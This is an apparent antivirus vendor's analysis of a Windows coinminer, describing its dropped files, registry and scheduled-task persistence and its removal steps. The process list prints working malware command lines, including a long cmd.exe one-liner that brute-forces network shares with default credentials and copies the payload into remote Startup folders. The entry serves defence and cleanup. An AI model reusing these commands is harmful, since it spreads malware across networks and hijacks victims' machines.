Analysis by: Francesca Villasanta
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Coinminer

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware, Via physical/removable drives

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 3,553,626 bytes
File Type: EXE
Memory Resident: Yes
Payload: Downloads files, Connects to URLs/IPs, Drops files

Arrival Details

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Coinminer drops the following copies of itself into the affected system:

  • %Application Data%\NsMiner\IMG001.exe

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It drops the following files:

  • %Application Data%\NSMiner\NsCpuCNMiner32.exe
  • %Application Data%\NSMiner\NsCpuCNMiner64.exe
  • %Application Data%\NSMiner\pools.txt
  • %User Temp%\info.zip
  • %User Temp%\tftp.exe
  • %User Startup%\Run.lnk
  • %Windows%\Tasks\UAC.job

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It drops the following non-malicious files:

  • %User Temp%\ns{random}.tmp\inetc.dll

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • "%System%\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
  • "%User Temp%\tftp.exe"
  • "%Application Data%\NsMiner\IMG001.exe"
  • "%System%\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "%Application Data%\NsMiner\IMG001.exe" /t REG_SZ
  • "%System%\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "%Application Data%\NsMiner\IMG001.exe"
  • "%System%\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "%Application Data%\NsMiner\IMG001.exe"
  • "%System%\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
  • "%System%\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\" ^|^| @arp -a^|find /i "  1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1501& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \!s! & (for /f "usebackq tokens=1" %j in (`net view \!s!^|find /i "    "`) do @echo f|xcopy /y /d "%Application Data%\NsMiner\IMG001.exe" "\!s!\%j\!f!" 1>nul && @echo copy to "\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\!s!\C$ \!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"%Application Data%\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "%Application Data%\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"%Application Data%\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It creates the following folders:

  • %Application Data%\NSMiner
  • %User Temp%\ns{random}.tmp

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Coinminer adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = %Application Data%\NSMiner\IMG001.exe

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = %Application Data%\NsMiner\IMG001.exe

It drops the following file(s) in the Windows User Startup folder to enable its automatic execution at every system startup:

  • %User Startup%\Run.lnk - link to dropped copy

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

Propagation

This Coinminer drops the following copies of itself in all physical and removable drives:

  • {Drive Letter}:\IMG001.exe

Download Routine

This Coinminer connects to the following URL(s) to download its component file(s):

  • http://{BLOCKED}test.ru/test.html
  • http://{BLOCKED}test.ru/stat.html
  • http://{BLOCKED}test.ru/text.html
  • http://{BLOCKED}s.ru/test.html
  • http://{BLOCKED}s.ru/stat.html
  • http://{BLOCKED}est.ru/test.html
  • http://{BLOCKED}est.ru/stat.html
  • http://{BLOCKED}y.ru/test.html
  • http://{BLOCKED}y.ru/stat.html
  • http://{BLOCKED}s.ru/test.html
  • http://{BLOCKED}s.ru/stat.html
  • http://{BLOCKED}.ru/test.html
  • http://{BLOCKED}.ru/stat.html
  • http://{BLOCKED}s.ru/test.html
  • http://{BLOCKED}s.ru/stat.html
  • http://{BLOCKED}sts.ru/test.html
  • http://{BLOCKED}sts.ru/stat.html
  • http://{BLOCKED}i.ru/test.html
  • http://{BLOCKED}i.ru/stat.html

As of this writing, the said sites are inaccessible.

Other Details

This Coinminer does the following:

  • It generates random IP address where it attempts to connect as FTP.

It adds the following scheduled tasks:

  • Task name: UAC
    Task to be run: %Application Data%\NsMiner\IMG001.exe

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 18.118.04
FIRST VSAPI PATTERN DATE: 07 Dec 2022
VSAPI OPR PATTERN File: 18.119.00
VSAPI OPR PATTERN Date: 08 Dec 2022

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task name: UAC
    Task to be run: %Application Data%\NsMiner\IMG001.exe

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • (Default) = %Application Data%\NSMiner\IMG001.exe
  • In HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    • (Default) = %Application Data%\NSMiner\IMG001.exe

Step 6

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Application Data%\NsMiner\IMG001.exe
  • %Application Data%\NSMiner\NsCpuCNMiner32.exe
  • %Application Data%\NSMiner\NsCpuCNMiner64.exe
  • %Application Data%\NSMiner\pools.txt
  • %User Temp%\info.zip
  • %User Temp%\tftp.exe
  • %User Startup%\Run.lnk
  • %Windows%\Tasks\UAC.job
  • %User Temp%\ns{random}.tmp\inetc.dll

Step 7

Search and delete this folder

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %Application Data%\NsMiner
  • %User Temp%\ns{random}.tmp

Step 8

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Coinminer.Win32.MALXMR.TIAOODHK. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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